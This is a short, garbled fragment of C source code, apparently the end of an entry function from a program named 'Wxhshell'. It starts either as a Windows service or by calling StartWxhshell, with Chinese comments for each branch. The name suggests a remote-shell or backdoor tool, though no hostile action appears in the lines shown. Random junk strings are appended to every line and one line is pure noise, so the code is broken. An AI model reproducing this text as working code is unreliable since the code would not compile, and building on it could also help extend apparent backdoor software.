else |+?ABPk"
if(StartFromService()) =y3gnb6
// 以服务方式启动 l)PEg PSRV
StartServiceCtrlDispatcher(DispatchTable); >R5qhVYFb
else PB !\r}Q
// 普通方式启动 'o2V}L'nG
StartWxhshell(lpCmdLine); YF{KSGq
7=.}484>J
return 0; vXUrS+~x
}